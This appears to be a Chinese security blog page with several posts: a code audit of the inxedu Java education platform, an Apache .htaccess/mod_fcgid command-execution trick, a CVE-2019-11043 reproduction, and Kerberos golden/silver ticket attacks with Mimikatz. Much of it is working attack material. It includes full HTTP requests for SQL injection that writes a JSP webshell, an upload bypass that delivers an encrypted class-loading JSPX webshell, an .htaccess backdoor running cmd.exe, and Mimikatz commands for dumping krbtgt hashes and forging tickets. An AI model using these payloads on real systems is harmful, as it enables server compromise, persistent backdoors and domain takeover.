knickers 发布的文章

inxedu开源视频教育平台代码审计(java)

一个开源的教育框架(inxedu),看别人文章发现的这个程序,也找到不少问题。正好最近学javaweb代码审计,就当练手了。

sql注入:
系统使用mybatis,这样其实查看数据执行很方便,直接看xml就好了。而且找注入嘛、直接全局搜${就找到好多个,不过我发现其实应该不是开发者没注意防注入的问题,而是${xxx}都是只在后台参数传递的时候使用。so、注入就比较鸡肋。找到两个有回显的(其中有一个别人曾经交过洞,我就没往上写、CVE-2019-3576),一个无回显的注入。无回显在已知绝对路径的情况下可以写马。poc利用就是找了tmp目录写了马。
/inxedu/demo_inxedu_open/src/main/resources/mybatis/inxedu/system/SysRoleMapper.xml

<insert id="createRoleFunction" parameterType="java.lang.String">
INSERT INTO SYS_ROLE_FUNCTION(<include refid="sys_role_function_column"/>)
VALUE ${value}
</insert>
    /**
     * 创建角色权限关联
     * @param value
     */
    public void createRoleFunction(String value);

看到是和权限控制有关
-w833
找到功能点后测试确实存在问题。

POST /admin/sysrole/saveroelfunction/2 HTTP/1.1
Host: 127.0.0.1:82
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 412
Origin: http://127.0.0.1:82
Connection: close
Referer: http://127.0.0.1:82/admin/sysrole/showroleList
Cookie: admin-token=; JSESSIONID=1DAA0E6A98BEA115043F997A0E41C476; inxeduweb_user_login_=6f5e7edc20b24ce180089526ceeb093f; inxedulogin_sys_user_=inxedulogin_sys_user_1

functionIds=61%2C62%2C80%2C81%2C30%2C32%2C79); set global general_log='on';
SET global general_log_file='/tmp/test.jsp';
SELECT '<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>';#

<!-- 删除广告图片 -->
<delete id="deleteImages" parameterType="java.lang.String">
  DELETE FROM EDU_WEBSITE_IMAGES WHERE IMAGE_ID IN(${value})
</delete>
POST /admin/website/delImages HTTP/1.1
Host: 127.0.0.1:82
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://127.0.0.1:82
Connection: close
Referer: http://127.0.0.1:82/admin/website/imagesPage
Cookie: admin-token=; JSESSIONID=51DA0B24124A0158F5809EEDD2F7F1E2; inxedulogin_sys_user_=inxedulogin_sys_user_1
Upgrade-Insecure-Requests: 1

imageId=320) or updatexml(1,concat(0x7e,(user())),0) #

-w1628

getshell:
前台:
抓到上传接口
-w1023
文件是base.jsp

<%!
/**图片、CSS、js静态资源文件地址*/
    static String staticServer = CommonConstants.staticServer;
    /**上传服务用服务器地址,访问时用staticImage,数据库中不存储域名*/
    static String uploadServerUrl=CommonConstants.uploadImageServer;
     /**页面显示图片的前缀路径*/
    static String staticImage=CommonConstants.staticImage;

    //内容编辑器上传图片路径
    static String keuploadSimpleUrl = uploadServerUrl+"/image/keupload?";
    //图片上传路径 
    static String uploadSimpleUrl = uploadServerUrl+"/image/gok4?";
    %>

找到./inxedu/demo_inxedu_open/src/main/java/com/inxedu/os/common/controller/VideoUploadController.java上传功能代码。


    /**
     * 视频上传
     */
    @RequestMapping(value="/uploadvideo",method={RequestMethod.POST})
    public String gok4(HttpServletRequest request,HttpServletResponse response,@RequestParam(value="uploadfile" ,required=true) MultipartFile uploadfile,
            @RequestParam(value="param",required=false) String param,
            @RequestParam(value="fileType",required=true) String fileType){
        try{

            String[] type = fileType.split(",");
            //设置图片类型
            setFileTypeList(type);
            //获取上传文件类型的扩展名,先得到.的位置,再截取从.的下一个位置到文件的最后,最后得到扩展名
            String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
            if(!fileType.contains(ext)){
                return responseErrorData(response,1,"文件格式错误,上传失败。");
            }
            //获取文件路径
            String filePath = getPath(request,ext,param);
            File file = new File(getProjectRootDirPath(request)+filePath);

            //如果目录不存在,则创建
            if(!file.getParentFile().exists()){
                file.getParentFile().mkdirs();
            }
            //保存文件
            uploadfile.transferTo(file);
            //返回数据

            return responseData(filePath,0,"上传成功",response);
        }catch (Exception e) {
            logger.error("gok4()--error",e);
            return responseErrorData(response,2,"系统繁忙,上传失败");
        }
    }

可以看到他功能实现是利用requestparam获取fileType参数类型

RequestParam(value="fileType",required=true) String fileType)
String[] type = fileType.split(",");
            //设置图片类型
            setFileTypeList(type);
            //获取上传文件类型的扩展名,先得到.的位置,再截取从.的下一个位置到文件的最后,最后得到扩展名

使用,分割上传后缀名,使用setFileTypeList设置文件后缀。
setFIleTypeList函数就在同文件最下面。

    /**
     * 设置图片类型
     */
    public void setFileTypeList(String[] type){
        fileTypeList = new ArrayList<String>();
        for(String _t : type){
            fileTypeList.add(_t);
        }
    }

那么接下来就可以构造了

POST /image/gok4?&param=temp&fileType=jspx HTTP/1.1
Host: 127.0.0.1:82
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------8316871451947876921031661416
Content-Length: 995
Origin: http://127.0.0.1:82
Connection: close
Referer: http://127.0.0.1:82/uc/initUpdateUser/1
Cookie: admin-token=; JSESSIONID=1DAA0E6A98BEA115043F997A0E41C476; inxeduweb_user_login_=6f5e7edc20b24ce180089526ceeb093f
Upgrade-Insecure-Requests: 1

-----------------------------8316871451947876921031661416
Content-Disposition: form-data; name="uploadfile"; filename="shell.jspx"
Content-Type: application/octet-stream

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
-----------------------------8316871451947876921031661416--

-w1360

后台上传使用接口相同
-w1416

Apache HTTP Server Remote Command Execution via .htaccess & mod_fcgid.so

就是用这么标题党的题目名,上周和学长一起研究了下.htaccess的配置参数,发现一个有趣的现象,利用这种方法扩展了.htaccess攻击方式,顺便也提供了一种绕过dis_funcation的思路。

各类php解析器特点:
CGI:是 Web Server 与 Web Application 之间数据交换的一种协议。
FastCGI:同 CGI,是一种通信协议,但比 CGI 在效率上做了一些优化。同样,SCGI 协议与 FastCGI 类似。
PHP-CGI:是 PHP (Web Application)对 Web Server 提供的 CGI 协议的接口程序。
PHP-FPM:是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能一些任务管理。

在phpstudy 2019 pro中引入了fcgid模块配置多个PHP版本共存:
https://blog.csdn.net/zhouzme/article/details/53995566

FcgidInitialEnv PHPRC "C:/ProgramFiles(x86)/php7.0"
FcgidWrapper "C:/ProgramFiles(x86)/php7.0/php-cgi.exe" .php

配置多版本共存的好处就如下图

其中配置如果开启了AllowOverride all或者AllowOverride Options FileInfo
就可以使目录中的.htaccess生效。

但是引入了fcgid模块了传统的.htaccess指定特定文件后缀为php解析的功能无法生效。

简而言之就是在PHPstudy 2019 pro上使用以前的.htaccess制作后门,或者利用上传漏洞就失效了。

接下来先说针对phpstudy 2019pro怎么使其生效:

原本的.htaccess后门配置信息:

<FilesMatch "xiaodi">
Sethandler application/x-httpd-php
</Eilesmatch >

这样在最新的phpstudy不生效。
想到是否可以利用fcgid模块来设置添加解析:

AddHandler fcgid-script .abc
FcgidWrapper "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe" .abc

就可以使.abc后缀的内容生效了,但是又有问题了。没有php-cgi.exe的路径怎么办呢。
后来我想是否可以使用相对路径,因为phpstudy的php目录名字确定,目录结构固定。然后测试了下。

AddHandler fcgid-script .abc
FcgidWrapper "../../php/php5.6.9nts/php-cgi.exe" .abc

这里需要说明下相对路径相对使用的是php的session_save_temp路径。

到这里phpstudy利用就结束了

接下来说下apache 命令执行的问题:

学长看了下指向的php-cgi.exe想了下能不能直接更改exe文件然访问特定后缀的文件后触发后门。(也就是说这里其实可以用作一个apache的后门使用。)

我看到了command????
然后就有了如下丧心病狂的尝试:

AddHandler fcgid-script .abc
FcgidWrapper "C:/Windows/System32/cmd.exe /c start calc.exe" .abc

apache-rce

2333333,执行成功.利用procmon查看下进程信息:

惊不惊喜、意不意外。

CVE-2019-11043复现

https://github.com/neex/phuip-fpizdam
vulhub已经集成了测试环境
安装docker&docker-compose
安装go环境

go install github.com/neex/phuip-fpizdam
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043/
docker-compose up -d
/root/go/bin/phuip-fpizdam http://127.0.0.1:8080/index.php

白银票据、黄金票据利用

这种攻击方法很多文章都已经写了。我就整理一下复现一下过程,当个笔记,以后有需要的时候直接拿来用。

windows认证

windows域目前仍使用kerberos认证,与本地认证以及网络认证一样,都属于windows认证方式。

认证流程是
1、客户端向AS请求
2、AS认证通过后发送TGT给客户端
3、客户端向TGS发送TGS请求包
4、TGS认证通过后发送Ticket以及session key
5、客户端向server发送请求
6、server验证通过允许访问

黄金票据

Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门

利用

先使用psexec连接到dc上执行mimikatz导出krbtgt的hash

privilege::debug
lsadump::dsync /domain:test.com /user:krbtgt

本地利用mimikatz生成金票据

kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-4137473164-1083575512-2086369784 /krbtgt:ce6eb475c764fba0e0cd4a1057a33547 /ticket:test.kribi
//然后本地导入票据
kerberos::ptt test.kribi


可以看到成功连接。

白银票据

白银票据不与KDC交互,伪造Ticket直接与server进行交互。我们来看一下windows认证的第六步,server接收到客户端的数据包后,使用自己的密码hash解密ticket得出session key,在使用session key解密Authenticator和timestamp即通过验证,所以我们只需要知道server用户的hash就可以伪造出一个ticket,这就是白银票据。

这是从目标机上获取到的机器hash和主机名:

创建票据命令为:
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4: /user:<用户名> /ptt

白银票据根据用户hash生成,而且只能根据某些服务创建,可利用的服务如下

服务注释 服务名
WMI HOST、RPCSS
Powershell Remoteing HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
LDAP 、DCSync LDAP
Windows File Share (CIFS) CIFS
Windows Remote ServerAdministration Tools
RPCSS、LDAP、CIFS

Mimikatz创建黄金的命令是“kerberos :: golden”

/domain -----完整的域名,在这个例子中:“lab.adsecurity.org”
/sid ----域的SID,在这个例子中:“S-1-5-21-1473643419-774954089-2222329127”
/sids --- AD森林中账户/组的额外SID,凭证拥有权限进行欺骗。通常这将是根域Enterprise Admins组的“S-1-5-21-1473643419-774954089-5872329127-519”值。
/user ---伪造的用户名
/groups(可选)---用户所属的组RID(第一组是主组)。添加用户或计算机帐户RID以接收相同的访问权限。默认组:513,512,520,518,519为默认的管理员组。
/krbtgt---域KDC服务帐户(KRBTGT)的NTLM密码哈希值。用于加密和签署TGT。
/ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用或使用/ptt立即将黄金票据插入内存以供使用。
/ptt - 作为/ ticket的替代品 - 使用它来立即将伪造的票据插入到内存中以供使用。
/id(可选) - 用户RID。Mimikatz默认值是500(默认管理员帐户RID)。
/startoffset(可选) - 票据可用时的起始偏移量(如果使用此选项,通常设置为-10或0)。Mimikatz默认值是0。
/endin(可选) - 票据使用时间范围。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为10小时(600分钟)。
/renewmax(可选) - 续订最长票据有效期。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为7天(10,080分钟)。
/sids(可选) - 设置为AD林中企业管理员组(ADRootDomainSID)-519)的SID,以欺骗整个AD林(AD林中每个域中的AD管理员)的企业管理权限。
/aes128 - AES128密钥
/aes256 - AES256密钥

黄金票默认组:
域用户SID:S-1-5-21 -513
域管理员SID:S-1-5-21 -512
架构管理员SID:S-1-5-21 -518
企业管理员SID:S-1-5-21 -519(只有在森林根域中创建伪造票证时才有效,但为AD森林管理员权限添加使用/ sids参数)
组策略创建者所有者SID:S-1-5-21 -520


https://www.cnblogs.com/KevinGeorge/p/9337747.html
http://www.h0r2yc.cn/2019/08/17/windows%E8%AE%A4%E8%AF%81-%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE%E3%80%81%E9%BB%84%E9%87%91%E7%A5%A8%E6%8D%AE%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8/